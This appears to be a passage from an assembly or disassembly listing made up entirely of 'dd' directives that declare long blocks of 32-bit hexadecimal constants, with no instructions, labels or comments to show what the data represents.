		dd 6001B411h, 0C9F9B1CDh, 92E4C76h, 0B60901A8h,	0F6F611AEh
		dd 0F638E0E9h, 7EF73933h, 0BDABE304h, 0B161AA34h, 0D92A1FADh
		dd 551689EAh, 61D1730Bh, 0EA11B529h, 3CCC75h, 374063D4h
		dd 0A58143CFh, 0ADD94907h, 2909004h, 0A098BDE7h, 0B55FFAD4h
		dd 1D446DCDh, 795D2262h, 1DA88975h, 0E9CE17DEh,	0AE9873DFh
		dd 1B02D47Ch, 2DCC52EBh, 0DB26927h, 0D0DECB2Ah,	158116A5h
		dd 0C2D3DBAAh, 0E6EA474Bh, 6E0E00C5h, 0D4DC7E6h, 894E2172h
		dd 5F2596F2h, 9013B5C5h, 1F057BBBh, 8CC0F49Ch, 81B7E234h
		dd 0E01804D7h, 0C1514A2Fh, 0A927DDC2h, 9862A7Bh, 0F599BDh
		dd 66B0B360h, 61861ABAh, 0DDBE3A97h, 23005AB5h,	0EBAC6EBFh
		dd 0E1FF2B3Fh, 0D7E178ABh, 0CB04B87Eh, 3E9DFD05h, 0E4A1BFB8h
		dd 0B3B72F04h, 2E7393A1h, 0D4A135E8h, 0E8CE7904h, 9559B065h
		dd 734AD994h, 1367ABEh,	0F19AF2DFh, 61C660B1h, 316DE974h
		dd 0D259D19h, 0DC122E61h, 0C54D20AAh, 0A8037921h, 0ED976B14h
		dd 8D89F8DAh, 5B33C9E5h, 54CFED70h, 272A4895h, 0BA0198F7h
		dd 0A86F5A33h, 12084B2h, 0EEA5BCE7h, 7DCC2600h,	79808306h
		dd 2C9A9FF7h, 93E5797Dh, 0C938F88Fh, 0A5227BD9h, 0FB505A5Bh
		dd 98FD3B8Ch, 0BB918B0Bh, 9C60B432h, 0CF6CC71h,	69B729B8h
		dd 2CE45005h, 72AE2528h, 9E744A0Bh, 4374EDCh, 0FD8D0981h
		dd 0CE6802C8h, 773E2477h, 34DE37E2h, 61F58569h,	0A24A5AB8h
		dd 3911071Ch, 4C402427h, 144B668h, 3E8CA6BAh, 3F719546h
		dd 0C04ABBBCh, 3B7431FDh, 0E538BBFCh, 0EC06AF09h, 29FE0574h
		dd 0AE0D419Dh, 76E96F77h, 8FE94272h, 60644FD5h,	574F29FFh
		dd 12A63802h, 320C3B51h, 0B240157Ch, 0E72C2Ah, 0B8A8BDB7h
		dd 243FAE3h, 7DDA1297h,	0EAE0456Dh, 39C12FF7h, 0BBA76901h
		dd 7B7D86EAh, 48177199h, 8A00CD2Fh, 0B9BB21D8h,	0BD1B389Dh
		dd 165956DBh, 1473A536h, 8EE87819h, 97D27680h, 33B7D1CAh
		dd 11CA106Bh, 6546426h,	0CBCB5EDBh, 3B036564h, 9EA435DEh
		dd 662CB031h, 3D250237h, 0A1672D0Ch, 69B14DD5h,	3C2F6A38h
		dd 68103013h, 0E6848h, 0C597E781h, 5A9D38DDh, 71FDA282h
		dd 0A9C6ADF8h, 0FA8B960Eh, 526F9750h, 0FCAC1800h, 0DA7B2FD1h
		dd 0D37CA717h, 20ADEB04h, 5AD32DABh, 3F5DC07Eh,	43CA8D1h
		dd 1C5A47FBh, 0A5FCB839h, 610009AEh, 0C8D59BD7h, 0BEDA80h
		dd 0DC1B9CDBh, 0BA7C4062h, 0FC91AE4Bh, 61C85160h, 41F985Eh
		dd 0F75508B9h, 661AC31Bh, 3088BBC1h, 8B4E6106h,	27BEC5B0h
		dd 90FFCC13h, 9F111Eh, 42D3994Eh, 8C7AABAAh, 3229B27Bh
		dd 0F1DE161h, 0C9AD1D53h, 53A0E6CFh, 0D00F74CEh, 4D4E0B01h
		dd 8112B68Eh, 0CF60F8h,	0FE6ABFD2h, 585B70FCh, 401FDA95h
		dd 0B7120F11h, 9AAF61C7h, 0CFEE9557h, 268480C0h, 7ACB17F0h
		dd 4FBF040Dh, 0D514193Bh, 0EA6EFED9h, 0B9AE3201h, 30F70187h
		dd 174B5D88h, 0BF0330DCh, 0D72485D1h, 0BF248416h, 0BB7AD8EFh
		dd 733A9625h, 181AD905h, 480E03C5h, 317FCE0Ch, 6B5FFCC9h
		dd 0C7800730h, 12EDB5E4h, 0DCA95627h, 0DE61E90Fh, 66DFE003h
		dd 0F44B3A90h, 0BF73A01Fh, 0BA954FBBh, 16B2E86Bh, 8D12364Ch
		dd 1CE99018h, 0AEFDB585h, 21E2DCh, 0C30B13B6h, 35CEA2D2h
		dd 0B2F0942Eh, 0F4E13033h, 79375B09h, 2764781h,	62C61048h
		dd 0DB93418Dh, 4A49E060h, 8847E312h, 2765A8A3h,	73472341h
		dd 53279019h, 0BFBC982Ah, 0C3250B00h, 15BD237Ah, 31EEB52Bh
		dd 0B451390h, 0C14EBC3Fh, 2DD6CC76h, 0FA88352Eh, 791DE709h
		dd 1971691Fh, 130AC188h, 1407BA96h, 4D6B6169h, 0CBF6CBF9h
		dd 0F8169AC8h, 4CAAF8A8h, 65590748h, 0E18FC588h, 0CEB3A443h
		dd 0F482CC7Eh, 258D4700h, 0C19DD59Bh, 0BC3203E7h, 104C3994h
		dd 0CB8408FAh, 3F13BB79h, 8EFD72FFh, 850C3930h,	7525A720h
		dd 0A50AE527h, 0F600A9B5h, 0B08D0816h, 0CEBF3B2Dh, 0E054B496h
		dd 0A94845AFh, 22311261h, 0F04813F7h, 0B866DA00h, 0F9618378h
		dd 0BBC1F89Ch, 0C86B7509h, 0F222F70Eh, 0E6F95AB9h, 3018B2CFh
		dd 623964CAh, 0EB205A78h, 0FD288Ah, 0F24D6A1Ch,	0A6AC3A10h
		dd 0DE041E77h, 16B3D917h, 0EF97C7B8h, 0F60B436Fh, 0A4FC6D4Bh
		dd 0C8F04638h, 0B20018FFh, 0BB595365h, 4E3099B1h, 0ACEFA929h
		dd 0DA5E8C18h, 0AC4A72EDh, 3A01AADEh, 46BCE42Ah, 310B308Bh
		dd 4F368D07h, 0F8925150h, 2744FD5Bh, 3184DE42h,	0C9E0B91Eh
		dd 40C8D460h, 3F43CD8Ah, 0C5612725h, 96611CBh, 7746DF80h
		dd 0CB006964h, 0D9D3DE31h, 743C6C7h, 992A816Eh,	85448277h
		dd 13B7BD9h, 0D8033FFFh, 0E53B3D80h, 1FD6AA3h, 0C721CBC1h
		dd 0C775E6DEh, 0F996169Fh
		dd 137B8A8h, 97424EE6h,	590CD07Ah, 6EFC6B91h, 4D4B392h
		dd 16CD8D29h, 1BBCE6BDh, 2C12008Ch, 383432EFh, 0BF1CC69Dh
		dd 67560F95h, 8F1162ABh, 4EB547F0h, 3DBD091Eh, 0DC66D124h
		dd 2627DB01h, 36CDCFE1h, 25FF98C0h, 0DCC56AA8h,	204A2B11h
		dd 0BFB7296Ch, 968BD91Ch, 51FC2CC1h, 0F7314BFDh, 0B55F9720h
		dd 0BA3D1B5Bh, 0FE4BFABDh, 0FF99A788h, 0BB20E83Ah, 24F2E00h
		dd 0D9098C67h, 659CED1Dh, 0F219B557h, 856B1AFDh, 0B8BCB95Ah
		dd 348F0B61h, 0A6E126A7h, 0BA8F2B22h, 2EC215C8h, 61E85C2Bh
		dd 2AF1BD29h, 522574EDh, 0D930CF7h, 0CA4082FEh,	5A34DF39h
		dd 0B4AF0458h, 0A064B774h, 6FAF9012h, 4E970052h, 0DB8167E1h
		dd 0B572033Dh, 899D0932h, 19E59740h, 8A606362h,	0FA2BC3DCh
		dd 46E45C20h, 0A613D2D8h, 20B6D5CEh, 0F07FBCF2h, 87D6B552h
		dd 0FC4BBBC1h, 215B8140h, 0DBC04A83h, 27D7DC88h, 0B5076FC4h
		dd 6B4ED98Ah, 8B6D55F9h, 822B45E7h, 926597Fh, 0BF4AAC8Dh
		dd 0C5112514h, 0D1F570B5h, 526F0609h, 88AB735Fh, 4DC91629h
		dd 6242409Fh, 0CA14DEB6h, 5BE750A2h, 1E693681h,	66AA382Eh
		dd 6A4F828Ah, 803CB502h, 7AFB655h, 797BEB9h, 8035D753h
		dd 6B1328FBh, 0D0361D09h, 7EB01C8h, 2BC89159h, 0CD9B3D7Dh
		dd 0C7BF9001h, 23456A47h, 55F34C8Dh, 8594078Dh,	0B77AE0Ch
		dd 0F5DD85C2h, 0E392C0AEh, 0BB08988h, 7887D36Ch, 462D1A3Eh
		dd 28C55BF5h, 6C63F46Ch, 0EE10B15Bh, 12F6F849h,	24AED98Bh
		dd 0CAC8FAA9h, 0CBE200C0h, 4BC1196Eh, 0E10295B6h, 0E5B5311Ch
		dd 60657523h, 77FE8A89h, 4C695E6Dh, 46951264h, 9B25FEF2h
		dd 81AA2AAAh, 0FA63C6E7h, 168B73D4h, 0B34FC930h, 0FF6A1683h
		dd 0E4B16209h, 0ABF95843h, 0FB1F9112h, 1EC777DBh, 0E46E9021h
		dd 1D251370h, 2E712Eh, 0C5670197h, 700866Bh, 0A50F6F16h
		dd 905EEBB7h, 0F21D0B4Eh, 8EEC40h, 5B1231C8h, 3D22D4E6h
		dd 0F8BFB050h, 2B70E602h, 641DD5BDh, 0F6920F8h,	6B71E42Eh
		dd 9BFC43Dh, 6A0E4470h,	1645D472h, 0E0B7203Fh, 3A002D71h
		dd 7907EF27h, 3DAC1A6h,	58F460C5h, 67B9BB28h, 0E7162E54h
		dd 17C94904h, 0FE7C64AEh, 0C156DC8Ch, 2D688076h, 0F5092A5Bh
		dd 894807C1h, 0CE17089h, 92C98060h, 105F55BCh, 2AA6356h
		dd 20DD9D6Fh, 7EF8110h,	69DE0BCAh, 0DC82B98Bh, 547EE452h
		dd 0E934DF02h, 0A3B8F7ABh, 9C0061F7h, 0A42B3AD9h, 1641B84h
		dd 857A5A9Dh, 70B0F6E7h, 4C17502Eh, 7CC4755h, 0B5BD4A0Bh
		dd 8FD72AC4h, 19329592h, 98DE431h, 60507195h, 4048A2BFh
		dd 5FE91B11h, 2D8D0904h, 0B02F2908h, 5B9D1214h,	6244119Eh
		dd 5159178h, 0CA308260h, 7946E277h, 0C16C253Ch,	0F020E85Ah
		dd 1FA8AA41h, 0CDA16Fh,	79C5AD80h, 0F3B5BFD4h, 27758802h
		dd 9514A926h, 0D8B6928Ah, 404A4810h, 0DC19DFBBh, 653F6A0Ch
		dd 12F10514h, 8C60AB2Ah, 0D269B982h, 2D9EB197h,	0E33AB94Dh
		dd 3FC05D0h, 0CDAA4D9Dh, 87A2A47h, 0C7239009h, 3E126944h
		dd 0F00C6BFh, 5E444AAEh, 2AEA093Ah, 35D4D22Bh, 0BE9E5725h
		dd 27DB3A5Bh, 66034989h, 68C2A52Eh, 0E02DCF55h,	753B4833h
		dd 0D780ACA0h, 0C7374C4Eh, 0BEB8FB64h, 2805B0D4h, 0EA6B259Bh
		dd 9CB5A68Bh, 0DF00A8C7h, 0BB1DB9F4h, 482ECB81h, 45781F34h
		dd 0EBD7EC26h, 0FD7B20F7h, 2CBB114Bh, 57C96184h, 4053F6FCh
		dd 0D267C826h, 617AFE00h, 0C6FF9689h, 0F4E23DCBh, 81289D83h
		dd 73A0F8C7h, 0B8705B10h, 0E9F6828Ah, 815B0909h, 27181C59h
		dd 31872907h, 0EC409EC2h, 9F781C4h, 538EC898h, 852881D5h
		dd 220F15C9h, 9D8FECBBh, 5DA9EB30h, 1C0CE922h, 0C913A3C6h
		dd 0BE7E8487h, 6AB82444h, 6B04ADA1h, 9D012C7Ah,	9C1E2783h
		dd 80D5380Ch, 0EEDC47DDh, 7714975Ah, 0E8A53F45h, 6089855Dh
		dd 5BB831ADh, 0CEEAE605h, 7BABDE8Ah, 26790057h,	0BB3E7B13h
		dd 9860480h, 12180585h,	4BB383B0h, 0DF739336h, 85293D05h
		dd 0E2AA06A1h, 127AC3Eh, 0DA43927Bh, 0D0E6E8BBh, 0F84B8B37h
		dd 3B896C8Ch, 0FA4FAD8Dh, 0E52F0262h, 6D906B23h, 934AC264h
		dd 5A965AFh, 0EB662492h, 8E01394Bh, 0FC8070B7h,	40336468h
		dd 0AAF1394Bh, 9B23032Bh, 0ACD65F30h, 0D4465C9Dh, 11EE3097h
		dd 8B512C34h, 2FCA2CF0h, 0E5F991EEh, 13FC0530h,	0C4BA192Ah
		dd 0FA0FED0Ch, 0FC1252F7h, 0FF56ABE9h, 25792605h, 92DBF2AAh
		dd 14A010A6h, 53011980h, 268A80Dh, 0D141F4BAh, 0A3870151h
		dd 4BC7BF0Fh, 0BDC74457h, 0B802BE41h, 0D3A6DAABh, 1E399D09h
		dd 0CD693C71h, 0DEAD40E6h, 33717277h, 0BF31822Ch, 8285870Bh
		dd 7DECBC8Fh, 39F8F173h, 9BE19F9Fh, 0B8F22906h,	0B2F30086h
		dd 0F29B2C3Eh, 874F0F1Eh, 782F29EEh, 0C8B94A62h, 28C16ACh
		dd 601ABFE2h, 0F22907E8h, 0FB5D1ADFh, 0FC01CEC6h, 2A139D8Dh
		dd 8496DBE8h, 3E9DA15Ah, 9061C8h, 2493CB6h, 535C6C91h
		dd 310FE612h, 587898FBh, 56BB604Bh, 0AEF2A5h, 0E261C565h
		dd 1CC8EF22h, 0A5F85B66h, 17642DCDh, 4FEE4B60h,	0DF4BC8B0h
		dd 648298Ah, 0ECD6ACC0h, 48000425h, 952189D2h, 5C2A0B2h
		dd 0F504677h, 0D828EF81h, 59C2007Ah, 8A624E46h,	7403D887h
		dd 28F364A1h, 50910E8Bh, 5BAEB756h, 48E7A83Eh, 608506F9h
		dd 0CAA80257h, 3082E95Eh, 0C57D2D70h, 586142E5h, 0DAB75Dh
		dd 7E340857h, 0E8241696h, 0FF132AA3h, 81B22AABh, 8BA57E35h
		dd 2D24A23Bh, 95055F90h, 0FDF5BAFEh, 0CB404662h, 1AD100A1h
		dd 21E6F0EFh, 61FA7D4h,	0F9855AD5h, 0ADA65F84h,	0AE9BC8F0h
		dd 0EEBDE0E0h, 272125EAh, 589550CEh, 612B40A3h,	0A178839Bh
		dd 47A713CBh, 8053AC46h, 0DE5CBF57h, 5F3F2D26h,	6F564C62h
		dd 23825D5Ah, 7975AE24h, 5B254D65h, 0A80BC3F4h,	0E97817E6h
		dd 454F8821h, 3BBB1F4Ah, 259AB57Ch, 0C06454C7h,	0BD2BD0C0h
		dd 0F5207D2Dh, 84975CB7h, 96B09BEh, 88C41C71h, 0E708E550h
		dd 7659D4A9h, 28CB25A6h, 0EA55BC7Bh, 0FF81710h,	0E7F2B1A7h
		dd 0BB255E1Dh, 930831FEh, 0EB8AD47Bh, 5CA40305h, 6C81BF6Bh
		dd 302B80C4h, 8D29507Eh, 2549D195h, 82433FDDh, 0B863CCA8h
		dd 0B30052F9h, 88E67E4h, 20B20215h, 9E1AA6B0h, 0AB00B366h
		dd 4C05B85Ah, 5E446EBCh, 0E720AFB2h, 0A0E8965Fh, 9F6C16h
		dd 0C88E2773h, 8CF5D4DFh, 8F48B700h, 0DC8AF095h, 6050255Bh
		dd 0ED426E90h, 0B7EF9700h, 5B295335h, 0DF3201F0h, 0A7E2441Eh
		dd 31897B34h, 5AE4722Fh, 3F2068C2h, 44A22034h, 78917600h
		dd 4A2930ABh, 506C0BE5h, 6E0E5FBFh, 9F14AE81h, 0BBBC2E67h
		dd 0A43D714Ch, 8009EBD6h, 46F745E3h, 120990Dh, 0E80F7CA3h
		dd 4885FCB2h, 0AA89CD02h, 0A9F4CAA0h, 0F64854DFh, 0CB2C0E0Eh
		dd 82F9C9C0h, 5C1FA5CBh, 5627577Eh, 845D6918h, 74B92023h
		dd 0EB1686D0h, 1A2AEB6Bh, 0D120FB93h, 91105DF2h, 5EBD9F28h
		dd 5314402Ch, 0A8FA269Eh, 194E1F04h, 0A2B838E1h, 4D88A17h
		dd 0EB12C564h, 0DF03A2A2h, 7A199B6Dh, 5ABD1E3Dh, 8B3DE2B7h
		dd 0AE010D92h, 0CDBF5D70h, 4153461h, 0C0DD80D0h, 7C4A4F11h
		dd 2D8D54D8h, 87FB14D5h, 31A05D25h, 6D35F156h, 0C99F749Dh
		dd 9D4EAEE4h, 0D105F953h, 0A68996FEh, 1686C9D7h, 98C0E569h
		dd 3A81E9Bh, 85261300h,	0C55F5DDBh, 41390A53h, 4B51165Ah
		dd 3356C7C2h, 5CDA8A62h, 0A7625129h, 0DED6D65Ch, 8160053Eh
		dd 0C11978DAh, 0AC6A6172h
		dd 56968121h, 0E6212DB3h, 0BA6B342Fh, 70A6E007h, 6EEA96D5h
		dd 0FF200E3h, 0F71D320Eh, 0DAA2A1B8h, 0A903B26Ah, 0A0F6EC6Bh
		dd 4B759529h, 814A9C08h, 0B0DADB04h, 0FB8C0CC5h, 6B781Bh
		dd 5B59703h, 0A68B4967h, 8452F316h, 356938AEh, 1514D200h
		dd 0B4B1CE66h, 43309740h, 1497FABFh, 81304423h,	4E54F304h
		dd 13B969E8h, 0E86E34C4h, 6D7E8004h, 0F4819FCAh, 0C7E40013h
		dd 4BED4EEBh, 6A12BF72h, 28E021AEh, 59BD1123h, 1FAA41Eh
		dd 0D6E9F5C1h, 20BD7AF3h, 15FA50BCh, 9B945616h,	0DE826C05h
		dd 954A70F8h, 33DEFAE4h, 0F242529Fh, 0B74375h, 711A1B32h
		dd 2781A047h, 41F1D364h, 708FFC2Fh, 0EA1FBB50h,	89A72FF6h
		dd 0DC8B561Bh, 7CB59C00h, 56CE859h, 0F7810288h,	7374A418h
		dd 0DF2539F6h, 15846E37h, 16AFEF78h, 0FA34122Bh, 4A7FC27Ah
		dd 0D210E84Ah, 6DF97517h, 131F2926h, 0EFA62122h, 3DC07EDDh
		dd 0B6AB2BAh, 0CA8B16B7h, 5B97E8F0h, 0F9277810h, 0FD0FB701h
		dd 0E07DEEA9h, 0F84F4A38h, 0F6A69240h, 46A0EAE4h, 59B52D29h
		dd 0CB1A2E4h, 364018ACh, 1A1645Fh, 21C370B4h, 0EAECC70Fh
		dd 0DB80A9A1h, 3F5CDEBDh, 929F35E9h, 43AE336h, 1E4D8529h
		dd 0EDCBFF24h, 8DE49F2Dh, 4D026A2Dh, 22DFC09Dh,	1817204Ah
		dd 1F0465EDh, 0A213093Dh, 2B33B28h, 0FDEB536h, 92D8E59Ah
		dd 6B92EE09h, 0CE07D5Bh, 60952EFEh, 0F5FB9BDBh,	0CBF30026h
		dd 7DF52780h, 0FBEA7509h, 554F5525h, 356A34E0h,	70B50F88h
		dd 0E372E9DAh, 0BF98949h, 0ADB75769h, 0F8795184h, 0DD398780h
		dd 8B6A271Ch, 6144D5F6h, 0ADC6CCh, 462F880h, 6C29CA1Fh
		dd 37F65400h, 0EC3325B5h, 3C0B5870h, 0B92AE117h, 1477E83Fh
		dd 0C9AE1C61h, 0E3D54912h, 0E9BF0295h, 0D4078425h, 523C092Bh
		dd 3CCDAF29h, 4E9877C9h, 31973018h, 19605797h, 0D253B55Fh
		dd 83744A5h, 246DBD03h,	7ACA4425h, 0B7F41758h, 8B54E8A0h
		dd 9D65162Dh, 8E288E53h, 87320FF2h, 0C1F54901h,	0BD2BD9BEh
		dd 4FE8DFh, 0ED646B53h,	4B1FCB39h, 4CE4445Ch, 94FD5FFEh
		dd 57CF81A0h, 5AB0F938h, 42ADD0B4h, 24BB021Dh, 5C7799E0h
		dd 20FB9C4Eh, 64AE0CD6h, 43EAC9Eh, 13F19D89h, 44D50972h
		dd 0A6A398EFh, 80B0B937h, 0D7F0661Fh, 7EB5F181h, 485849D5h
		dd 56EA334Fh, 1CEBA0FBh, 85E3FF82h, 10D97A28h, 32A48D4Fh
		dd 0EC62D861h, 8BE423C3h, 0DB7828F7h, 732CAF4h,	7E64FBE9h
		dd 0B3119930h, 0E04E4985h, 87C9B144h, 102BBFB9h, 792C8457h
		dd 8F978D12h, 0AA3C47E1h, 64730E80h, 2B00CB75h,	0B345A1B7h
		dd 3404A42h, 16E5B4D4h,	3670987Dh, 19532497h, 1735C658h
		dd 37157B97h, 4230A4EBh, 290EB585h, 0F9965C59h,	6A449DEEh
		dd 800979F3h, 4E731CDFh, 4FCB023Dh, 8E9589F5h, 33E6F279h
		dd 135E8413h, 0E26F44h,	0C8C40A36h, 4A30A825h, 2699888Ch
		dd 71889102h, 0D7F74345h, 68D26C7Ah, 1667130Fh,	0E60774ABh
		dd 6DD8A0CEh, 97647174h, 0B9412AFCh, 6A2E1006h,	1142380h
		dd 9D29FCCFh, 0FFC52A91h, 92AA9ABFh, 0F01756A6h, 99FA61Bh
		dd 71D22BFCh, 4450E96Eh, 120C582Ch, 6C7716DEh, 0FF07850Ah
		dd 0F1BDF130h, 0DD50820Ch, 5255FBBFh, 7DC0C85Eh, 4573D7Eh
		dd 2BAC35D6h, 0A8C2C486h, 31AF8060h, 9773AA7Ah,	0AB0B4005h
		dd 5CF8DF72h, 359F5E84h, 0D37D0919h, 15133777h,	4F00625Ah
		dd 4154294h, 0C04BD380h, 7D22948Ah, 8100AEBCh, 0CCB14BE7h
		dd 0BD1D927Ah, 4B4142CFh, 0C83B7E8Fh, 0C005470Ch, 46A6A4FDh
		dd 23E16BABh, 3F960017h, 0C7807090h, 0EFA9FD5Eh, 5E9F99E8h
		dd 37F77A3Bh, 40130142h, 0F7266007h, 60EA51B1h,	5458CB6h
		dd 0B06C106Eh, 16C4CA4Ah, 0ABB90409h, 9409DFE8h, 0DF129692h
		dd 86082CE5h, 0DF82B0A4h, 849F82CFh, 0A2BBD97Fh, 90BB0246h
		dd 5C28CD8Eh, 1D58E76h,	39DBEA12h, 4758A981h, 0B86391h
		dd 88256831h, 31D9C05h,	654AA9B1h, 0ADA0E1BBh, 425A7B77h
		dd 17AAECA8h, 95308803h, 34EDA1h, 1A5D0C4Dh, 865A5123h
		dd 6EE1000h, 90AB183Eh,	8140038Ch, 28CFD8C7h, 276BAE84h
		dd 320E1723h, 8929A5A0h, 3E32E5EEh, 86133B8h, 0C95150DFh
		dd 4CD76352h, 0FEF42FA7h, 46B950F6h, 9305AE7Eh,	310FC316h
		dd 17685C8Ch, 0D978Bh, 0CECB02B9h, 74FFBFCh, 2C90EBF0h
		dd 45828B0Fh, 6C8B3160h, 0BD2EF812h, 48B9D900h,	0EEFB0571h
		dd 8BF8013Fh, 0CE04B387h, 0C162A67h, 19F54804h,	0C7126800h
		dd 0C9D7A8EAh, 0ED00F7FCh, 2957343Ch, 0F4B5D95h, 9F516BF4h
		dd 0D04B08F9h, 0D38B95AFh, 854F3DF7h, 0B2880FABh, 0D3AE8008h
		dd 7B497369h, 6A4114EFh, 4300E2B0h, 31F9891Ah, 0F02CB81h
		dd 0E92EE3A5h, 0ED734A78h, 3A0CF7Fh, 0A3CDEAAFh, 58B5E01Eh
		dd 758BB429h, 71E67F04h, 6CEBBD00h, 90C9FB1Eh, 5E58131Ah
		dd 0E7308866h, 0BF937C00h, 989C6A85h, 3E24FEDBh, 0C027C6A6h
		dd 2026D998h, 0AB32E401h, 0FC85E22h, 0D371BC6Ah, 951679F8h
		dd 2C62AB41h, 64B25C86h, 39E35275h, 0C516A05Ah,	5D5BE927h
		dd 89D85498h, 0CF810601h, 63967E94h, 0C24FD826h, 0B2D53035h
		dd 6B557A3h, 685F8A00h,	4B8B9253h, 52C41F51h, 4DA0E1CCh
		dd 204BE97Fh, 5901B4DBh, 19C1D730h, 372E2AE2h, 0AEBD45A1h
		dd 14688690h, 19BE1664h, 1C2A260h, 79C2DA2Ch, 0A6FC8E4Bh
		dd 62D40086h, 99F303C8h, 4F16334Eh, 99ACCBB1h, 0B80BDAD0h
		dd 0C05575AAh, 2467EBE4h, 22E19A1h, 1BE847CFh, 0DB272F5Ch
		dd 20E8DBF3h, 0AE05B672h, 0F2C95D75h, 0E62AC8Ch, 0FAB37DD3h
		dd 732FC153h, 4BB22E83h, 59BE4524h, 0F8F5F20Bh,	6E615F35h
		dd 670601B1h, 0A26EEF0h, 3E64E16Eh, 5B25CCA3h, 53E96559h
		dd 0CCD050E4h, 0F58AAB27h, 0AA08F504h, 0F82F4D39h, 0B0684694h
		dd 2C3C56CDh, 823669h, 474D3515h, 91B924E9h, 0BD8BFB82h
		dd 0BFB67805h, 2C5F4EF3h, 8BD7E9DFh, 0C95C6DACh, 565B1A5Fh
		dd 14D85117h, 21A112C1h, 0C516E64Fh, 0A06DA703h, 166331D6h
		dd 0FB33868Fh, 0D2CF4170h, 0A76EB5E2h, 4EC6CDBDh, 1AFD0C2Bh
		dd 0C2A5C315h, 479DDF9h, 12258D84h, 0FC5A9114h,	5CACB0E9h
		dd 0D09F2493h, 0A098012Fh, 0E10CCA68h, 55742E5Bh, 1CA376B6h
		dd 0F4D7CD98h, 0B5B13100h, 0C88B6096h, 51D9B561h, 0B3A19D80h
		dd 16F49B7Eh, 0E8146F55h, 1F80DD34h, 0F162DFA6h, 9910369h
		dd 499ADA14h, 0CFB63580h, 4965F2Eh, 0BAD788AFh,	219501C0h
		dd 0B253951Bh, 310B899Fh, 5A845614h, 37803AB5h,	68908792h
		dd 0F2A9959Ah, 0D3D0D1FBh, 83BF0121h, 940A6609h, 49092B5Fh
		dd 83E5F50Dh, 23D352Dh,	0CB27A6F7h, 0D8428C54h,	9679D536h
		dd 76E77B64h, 0A06CB64Ah, 99F8522h, 89D57F92h, 92D0E70h
		dd 49FE568Dh, 556B8BFFh, 6D732F32h, 14A74C50h, 0EFF61A0Eh
		dd 0E7274512h, 54F82F2Ch, 1B5C36Dh, 0AF81249Ch,	0A66A0FC1h
		dd 8718F3DDh, 546E4008h, 0EE05C6F8h, 0D518D31h,	0D74FDBAAh
		dd 7C2399EAh, 0BB960048h, 33D2B25Ch, 4E099750h,	542F5579h
		dd 3B0940E4h, 0D8FAC084h, 0C4080705h, 6BABB4D6h, 915237Dh
		dd 27D95C0h, 8EBDB59Fh,	270A889Eh, 0D52DE2D0h, 0D2FC7302h
		dd 986C90F5h, 0B5F6BD1Bh, 0CAC4CB60h, 28749F7Eh, 217A1751h
		dd 4264D19h, 276808FFh,	0F289522Ch, 49045CAAh, 7CA7B35Ch
		dd 0F631F642h, 0F1168A0h, 0D742B26Ah, 9907406Ah, 12F00915h
		dd 57768FF1h, 0F781FAE0h
		dd 24471223h, 254AE36Fh, 1348C5F5h, 0AA29AA51h,	80039B2Bh
		dd 5E4B90Dh, 0B83C5EF0h, 1A0A0E40h, 9BBE13C6h, 23789A5h
		dd 5C25B1D7h, 0FE8A7869h, 0C2E1E925h, 49667567h, 16C18B26h
		dd 5E3904DEh, 0E8B5F995h, 0CF3B806Ah, 70664787h, 3EDA1368h
		dd 0CDD4AB84h, 80C07BACh, 0B35094F3h, 24AE264Eh, 0B86CB9FAh
		dd 0FA61016Dh, 0E44D7C29h, 0B741D849h, 0B9F7015Ah, 7555DAA0h
		dd 0CD0666EAh, 0CB314EE7h, 0ED5825C0h, 5D70827Fh, 96C21A24h
		dd 28B16DDh, 0D252E781h, 9E4801CBh, 0F5D2AD9Dh,	0F127606Fh
		dd 651E315Dh, 80BDFD3Fh, 0E50295B1h, 6A602F94h,	0EEB7D7h
		dd 0AB0AD733h, 1271A11Ah, 9D316504h, 0E7AA2215h, 0E0BFB50Ah
		dd 7B13830Fh, 99A02CCEh, 5BEA2D5Ch, 16A03557h, 9D976019h
		dd 1313C433h, 0D7C5C111h, 0BD5DD8BFh, 0FFDD2954h, 4C8730E7h
		dd 95FC4B22h, 3EBF49B1h, 98CFDF9Eh, 0B1E32C8Fh,	0E4047192h
		dd 26A7C16h, 0CDE007A6h, 300629C6h, 0D0391007h,	0D2A62D52h
		dd 45EE9075h, 64180071h, 0A35E1FB8h, 101D9AEBh,	2FC0F352h
		dd 0B5DB1D2Eh, 0B7DB9861h, 0B33714ABh, 93EA5D80h, 14F1680Dh
		dd 0A60ED217h, 60731909h, 11A337D5h, 1B7D8017h,	27F8E89Fh
		dd 165DAFE9h, 4A62722Ch, 0BC3ABDD5h, 4D470434h,	0A872238Dh
		dd 0BAC180CBh, 288C8B1h, 8F6917AEh, 6E55A5ACh, 10ED9D3Ah
		dd 29322C40h, 114A9585h, 2BF04060h, 4BF5EE8h, 25AF0687h
		dd 89E630E7h, 7101A916h, 310F80B4h, 0B46B99B3h,	9017DF98h
		dd 0D6AC9501h, 0F29CA65Ah, 207E321Ch, 0F506C052h, 0B5519D2Fh
		dd 43D66DC9h, 3A08A3Ch,	63966F0Ah, 8EAEC34Fh, 14440591h
		dd 0B0990DAAh, 5EB524BDh, 0B529E216h, 6AA8A75Fh, 9526D8DBh
		dd 2D5A8CAh, 909E594h, 605BF789h, 9252811h, 0F9B7B8F8h
		dd 631D9A44h, 198422D5h, 90B71010h, 6642297h, 68802701h
		dd 7D8D9CBCh, 318C592Dh, 65D58598h, 50D36C9h, 2DBD958Bh
		dd 94439DEAh, 2F5DB530h, 12C4C1h, 26B7CA75h, 49099CB1h
		dd 4791503h, 0D73DC8ACh, 295B6D80h, 0DAF2B78Dh,	0D3815F01h
		dd 5164A99Ch, 8A044A84h, 5378B8FCh, 0D1150031h,	7671FB26h
		dd 0BBC8392Bh, 7D0B7878h, 0ED8AA08Bh, 6F339717h, 0E135D87Ch
		dd 8D85C11Dh, 500409AAh, 859558F8h, 5EABF564h, 0E4FE927Fh
		dd 0EE9D2350h, 581D0037h, 3C5D26DBh, 5300225Eh,	0DF6AC66Ch
		dd 161E6446h, 0AC5F2BA3h, 85BDC27Ah, 0B6B85510h, 61EED781h
		dd 91261821h, 0DC204B30h, 0F779E6h, 0BAA2C674h,	89D0FD14h
		dd 0CC1FB725h, 0BD010968h, 7ACA1195h, 0F118720Ch, 59A8314Eh
		dd 46E8AA1h, 0A861E408h, 0F5BB0494h, 0B97F645Dh, 67A9D242h
		dd 0FE0B4EA8h, 56BD29DEh, 0DF8180C5h, 74446175h, 0CA41B92Eh
		dd 5D6F609Ch, 0C22F8593h, 60B2CAD1h, 0D31491E7h, 5BDEEB0Fh
		dd 40349A80h, 5804671Eh, 0FCCFD780h, 939CDBABh,	592298FAh
